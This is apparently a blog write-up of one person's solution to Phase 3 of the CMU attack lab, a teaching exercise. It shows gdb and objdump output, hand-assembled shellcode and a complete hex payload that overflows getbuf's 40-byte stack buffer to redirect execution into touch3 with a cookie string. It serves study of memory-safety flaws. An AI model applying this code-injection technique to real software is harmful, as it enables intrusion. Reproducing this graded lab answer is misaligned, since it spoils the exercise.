Buffer Overflow

My solution to Phase 3 of the CMU attack lab which involves a code injection attack, passing a string as argument to touch3(char *) the accepted string is the following cookie 0x59b997fa.


The CMU Attack lab: https://csapp.cs.cmu.edu/3e/attacklab.pdf

I start by recording some data.

istofu@heapsmash:~/cmu/target1$ objdump -d ctarget | grep touch3
00000000004018fa <touch3>:
  401918:       74 23                   je     40193d <touch3+0x43>
  40193b:       eb 21                   jmp    40195e <touch3+0x64>

istofu@heapsmash:~/cmu/target1$ gdb -q ctarget
gef➤  disass getbuf
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
   0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq   
End of assembler dump.

The line 0x00000000004017a8 <+0>: sub $0x28,%rsp tells us that the buffer being stored is 40 bytes.

gef➤  print/d 0x28
$3 = 40

I generate a 40 byte string to demonstrate the layout of the stack.

istofu@heapsmash:~/cmu/target1$ python -c 'print "A"*40' > payload; cat payload
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Examining the stack at this point we see the following.

gef➤  b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
gef➤  run -q -i payload
Starting program: /home/istofu/cmu/target1/ctarget -q -i payload

0x000000005561dca0│+0x0000: 0x0000000000401976   ← $rsp
0x000000005561dca8│+0x0008: 0x0000000000000009
0x000000005561dcb0│+0x0010: 0x0000000000401f24
0x000000005561dcb8│+0x0018: 0x0000000000000000
0x000000005561dcc0│+0x0020: 0xf4f4f4f4f4f4f4f4   ← $rdx
0x000000005561dcc8│+0x0028: 0xf4f4f4f4f4f4f4f4
0x000000005561dcd0│+0x0030: 0xf4f4f4f4f4f4f4f4
0x000000005561dcd8│+0x0038: 0xf4f4f4f4f4f4f4f4

gef➤  si 2   # go to call for getbuf()
$rsp   : 0x000000005561dc78  →  0x0000000000000000

gef➤  ni     # go to next instruction after call.  
0x000000005561dc78│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x000000005561dc80│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x000000005561dc88│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAA"
0x000000005561dc90│+0x0018: "AAAAAAAAAAAAAAAA"
0x000000005561dc98│+0x0020: "AAAAAAAA"

An overflow conditions has been confirmed. Time to create a payload and overwrite the old return address with the address to our payload.

Below are compact tables in hex and decimal. From the ASCII man pages I use as a reference for the string needed in our payload. 

0x59b997fa
'5' = 0x35  
'9' = 0x39  
'b' = 0x62  
'9' = 0x39  
'9' = 0x39  
'7' = 0x37  
'f' = 0x66  
'a' = 0x61

          2 3 4 5 6 7       30 40 50 60 70 80 90 100 110 120
        -------------      ---------------------------------
       0:   0 @ P ` p     0:    (  2  <  F  P  Z  d   n   x
       1: ! 1 A Q a q     1:    )  3  =  G  Q  [  e   o   y
       2: " 2 B R b r     2:    *  4  >  H  R  \  f   p   z
       3: # 3 C S c s     3: !  +  5  ?  I  S  ]  g   q   {
       4: $ 4 D T d t     4: "  ,  6  @  J  T  ^  h   r   |
       5: % 5 E U e u     5: #  -  7  A  K  U  _  i   s   }
       6: & 6 F V f v     6: $  .  8  B  L  V  `  j   t   ~
       7: ' 7 G W g w     7: %  /  9  C  M  W  a  k   u  DEL
       8: ( 8 H X h x     8: &  0  :  D  N  X  b  l   v
       9: ) 9 I Y i y     9: '  1  ;  E  O  Y  c  m   w
       A: * : J Z j z
       B: + ; K [ k {
       C: , < L \ l |
       D: - = M ] m }
       E: . > N ^ n ~
       F: / ? O _ o DEL

istofu@heapsmash:~/cmu/target1$ vim char_ptr.s
# Set a pointer to where we will place our string on the stack. 
mov     $0x5561dc78, %rdi
ret

istofu@heapsmash:~/cmu/target1$ as char_ptr.s -o char_ptr.o
istofu@heapsmash:~/cmu/target1$ objdump -d char_ptr.o

char_ptr.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 78 dc 61 55    mov    $0x5561dc78,%rdi
   7:   c3                      retq  

This is everything needed to create the byte-code for our payload.

istofu@heapsmash:~/cmu/target1$ vim bytecode

/* 0x00 */ 35 39 62 39 39 37 66 61 /* the ASCII for our string */  

/* 0x08 */ 00 00 00 00 00 00 00 00 /* NULL terminate the string */ 

/* 0x18 */ 48 c7 c7 78 dc 61 55 c3 /* Pointer to string */ 

/* 0x20 */ 00 00 00 00 00 00 00 00 /* filler */ 

/* 0x28 */ 00 00 00 00 00 00 00 00 /* filler */ 

/* 0x30 */ 88 dc 61 55 00 00 00 00 /* $16(%rsp) for payload* / 

/* 0x38 */ fa 18 40 00 00 00 00 00 /* call touch3(char *) */ 

The byte-code needed for the payload is converted to raw.

Bytecode: 
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
48 c7 c7 78 dc 61 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 dc 61 55 00 00 00 00
fa 18 40 00 00 00 00 00

payload: 
59b997fa^@^@^@^@^@^@^@^@HÇÇxÜaUÃ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@<88>ÜaU^@^@^@^@ú^X@^@^@^@^@^@

istofu@heapsmash:~/cmu/target1$ hd payload 
00000000  35 39 62 39 39 37 66 61  00 00 00 00 00 00 00 00  |59b997fa........|
00000010  48 c7 c7 78 dc 61 55 c3  00 00 00 00 00 00 00 00  |H..x.aU.........|
00000020  00 00 00 00 00 00 00 00  88 dc 61 55 00 00 00 00  |..........aU....|
00000030  fa 18 40 00 00 00 00 00  0a                       |..@......|
00000039

GDB is used to verify everything went as planned.

After the call to getbuf() the stack is laid out as planned. 
  
0x000000005561dc78│+0x0000: "59b997fa"   ← $rax, $rsp
0x000000005561dc80│+0x0008: 0x0000000000000000
0x000000005561dc88│+0x0010: 0xc35561dc78c7c748
0x000000005561dc90│+0x0018: 0x0000000000000000
0x000000005561dc98│+0x0020: 0x0000000000000000
0x000000005561dca0│+0x0028: 0x000000005561dc88  → 0xc35561dc78c7c748
0x000000005561dca8│+0x0030: 0x00000000004018fa  → <touch3+0> 0x000000005561dcb0│+0x0038: 0x0000000000401f00  → <launch+76> 

Once we step to the return the following will be executed. 

 → 0x5561dc88                  mov    $0x5561dc78, %rdi
   0x5561dc8f                  retq   

gef➤  x/g $rdi 
0x606260:       0xfbad2488
gef➤  si 2
gef➤  x/g $rdi
0x5561dc78:     0x6166373939623935

%rdi seems to be pointing to the correct place, we will confirm by de-referencing the pointer. 

gef➤  print (char *) $rdi 
$1 = 0x5561dc78 "59b997fa"

Success.

istofu@heapsmash:~/cmu/target1$ ./ctarget -q -i payload 
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget

result  1:PASS:0xffffffff:ctarget:3:35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 48 C7 C7 78 DC 61 55 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 DC 61 55 00 00 00 00 FA 18 40 00 00 00 00 00 

Leave a Reply

Your email address will not be published. Required fields are marked *

Scroll UpScroll Up